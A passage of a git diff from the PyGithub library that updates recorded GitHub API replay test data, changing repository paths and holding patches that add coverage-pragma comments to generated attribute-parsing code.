Jacques","date":"2012-05-27T00:37:17-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","message":"Remove branch coverage for optional attributes (temporary?)","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:37:17-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/d925a951cd6a5442e91dcfded3171520e9cca5de","sha":"d925a951cd6a5442e91dcfded3171520e9cca5de"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","sha":"93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T02:07:47-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T02:07:47-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d","sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d"}}}] diff --git a/tests/ReplayData/PullRequest.testGetFiles.txt b/tests/ReplayData/PullRequest.testGetFiles.txt index 81a8908a78..02596c35e9 100644 --- a/tests/ReplayData/PullRequest.testGetFiles.txt +++ b/tests/ReplayData/PullRequest.testGetFiles.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/files +/repos/PyGithub/PyGithub/pulls/31/files {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('content-length', '169480'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a6f83dd38ea0a62d423fefb7b8353561"'), ('date', 'Sun, 27 May 2012 10:21:15 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"patch":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @toto No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch\n \n {% if attribute.type.cardinality == \"scalar\" %}\n {% if attribute.type.simple %}","status":"modified","deletions":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","changes":2,"additions":1,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","filename":"codegen/templates/GithubObject.py"},{"patch":"@@ -568,78 +568,78 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":25,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","changes":50,"additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","filename":"src/github/AuthenticatedUser.py"},{"patch":"@@ -117,21 +117,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"app\", \"created_at\", \"id\", \"note\", \"note_url\", \"scopes\", \"token\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"app\" in attributes and attributes[ \"app\" ] is not None:\n+ if \"app\" in attributes and attributes[ \"app\" ] is not None: # pragma no branch\n self.__app = attributes[ \"app\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"note\" in attributes and attributes[ \"note\" ] is not None:\n+ if \"note\" in attributes and attributes[ \"note\" ] is not None: # pragma no branch\n self.__note = attributes[ \"note\" ]\n- if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None:\n+ if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None: # pragma no branch\n self.__note_url = attributes[ \"note_url\" ]\n- if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None:\n+ if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None: # pragma no branch\n self.__scopes = attributes[ \"scopes\" ]\n- if \"token\" in attributes and attributes[ \"token\" ] is not None:\n+ if \"token\" in attributes and attributes[ \"token\" ] is not None: # pragma no branch\n self.__token = attributes[ \"token\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","filename":"src/github/Authorization.py"},{"patch":"@@ -28,9 +28,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","status":"modified","deletions":2,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","changes":4,"additions":2,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","filename":"src/github/Branch.py"},{"patch":"@@ -120,33 +120,33 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"commit\", \"committer\", \"files\", \"parents\", \"sha\", \"stats\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = NamedUser.NamedUser( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = GitCommit.GitCommit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = NamedUser.NamedUser( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"files\" ], list ) and ( len( attributes[ \"files\" ] ) == 0 or isinstance( attributes[ \"files\" ][ 0 ], dict ) )\n self.__files = [\n CommitFile.CommitFile( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"files\" ]\n ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n Commit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"stats\" in attributes and attributes[ \"stats\" ] is not None:\n+ if \"stats\" in attributes and attributes[ \"stats\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"stats\" ], dict )\n self.__stats = CommitStats.CommitStats( self.__requester, attributes[ \"stats\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":8,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","changes":16,"additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","filename":"src/github/Commit.py"},{"patch":"@@ -121,36 +121,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"line\" ], int )\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"position\" ], int )\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","filename":"src/github/CommitComment.py"},{"patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","filename":"src/github/CommitFile.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"deletions\", \"total\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"additions\" ], int )\n self.__additions = attributes[ \"additions\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"deletions\" ], int )\n self.__deletions = attributes[ \"deletions\" ]\n- if \"total\" in attributes and attributes[ \"total\" ] is not None:\n+ if \"total\" in attributes and attributes[ \"total\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total\" ], int )\n self.__total = attributes[ \"total\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","filename":"src/github/CommitStats.py"},{"patch":"@@ -162,43 +162,43 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"accesskeyid\", \"acl\", \"bucket\", \"content_type\", \"created_at\", \"description\", \"download_count\", \"expirationdate\", \"html_url\", \"id\", \"mime_type\", \"name\", \"path\", \"policy\", \"prefix\", \"redirect\", \"s3_url\", \"signature\", \"size\", \"url\", \"x-amz-meta-content-disposition\" ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None:\n+ if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None: # pragma no branch\n self.__accesskeyid = attributes[ \"accesskeyid\" ]\n- if \"acl\" in attributes and attributes[ \"acl\" ] is not None:\n+ if \"acl\" in attributes and attributes[ \"acl\" ] is not None: # pragma no branch\n self.__acl = attributes[ \"acl\" ]\n- if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None:\n+ if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None: # pragma no branch\n self.__bucket = attributes[ \"bucket\" ]\n- if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None:\n+ if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None: # pragma no branch\n self.__content_type = attributes[ \"content_type\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n self.__description = attributes[ \"description\" ]\n- if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None:\n+ if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None: # pragma no branch\n self.__download_count = attributes[ \"download_count\" ]\n- if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None:\n+ if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None: # pragma no branch\n self.__expirationdate = attributes[ \"expirationdate\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None:\n+ if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None: # pragma no branch\n self.__mime_type = attributes[ \"mime_type\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"policy\" in attributes and attributes[ \"policy\" ] is not None:\n+ if \"policy\" in attributes and attributes[ \"policy\" ] is not None: # pragma no branch\n self.__policy = attributes[ \"policy\" ]\n- if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None:\n+ if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None: # pragma no branch\n self.__prefix = attributes[ \"prefix\" ]\n- if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None:\n+ if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None: # pragma no branch\n self.__redirect = attributes[ \"redirect\" ]\n- if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None:\n+ if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None: # pragma no branch\n self.__s3_url = attributes[ \"s3_url\" ]\n- if \"signature\" in attributes and attributes[ \"signature\" ] is not None:\n+ if \"signature\" in attributes and attributes[ \"signature\" ] is not None: # pragma no branch\n self.__signature = attributes[ \"signature\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":20,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","changes":40,"additions":20,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","filename":"src/github/Download.py"},{"patch":"@@ -60,22 +60,22 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"created_at\", \"id\", \"org\", \"payload\", \"public\", \"repo\", \"type\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = 